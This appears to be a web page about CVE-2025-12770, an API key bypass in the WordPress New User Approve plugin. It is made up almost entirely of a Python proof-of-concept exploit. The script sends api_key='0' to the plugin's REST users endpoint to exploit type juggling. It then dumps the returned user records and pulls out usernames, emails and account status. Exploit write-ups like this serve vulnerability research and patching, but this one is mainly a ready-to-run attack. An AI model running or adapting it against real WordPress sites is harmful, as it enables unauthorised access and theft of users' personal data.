CVE-2025-12770 WordPress New User Approve插件API密钥验证绕过导致敏感信息泄露

import requests import json # CVE-2025-12770 PoC # New User Approve Plugin - API Key Validation Bypass # Affects: New User Approve <= 3.0.9 target_url = "http://target-wordpress-site.com" # Step 1: Identify Zapier REST API endpoint api_endpoint = f"{target_url}/wp-json/new-user-approve/v1/users" # Step 2: Exploit the type juggling vulnerability # Send api_key="0" to bypass authentication payload = { "api_key": "0" } print("[*] Attempting to exploit CVE-2025-12770...") print(f"[*] Target: {api_endpoint}") try: # Make request with api_key="0" response = requests.get(api_endpoint, params=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print("[+] SUCCESS! Authentication bypassed!") print("[+] Retrieved user data:") print(json.dumps(data, indent=2)) # Extract PII information if isinstance(data, list): for user in data: if isinstance(user, dict): username = user.get('user_login', user.get('username', 'N/A')) email = user.get('user_email', user.get('email', 'N/A')) status = user.get('status', 'N/A') print(f" - Username: {username}, Email: {email}, Status: {status}") else: print(f"[-] Failed. Status: {response.status_code}") print(f"[-] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("\n[*] Note: This PoC only works on sites where Zapier API key is not configured.")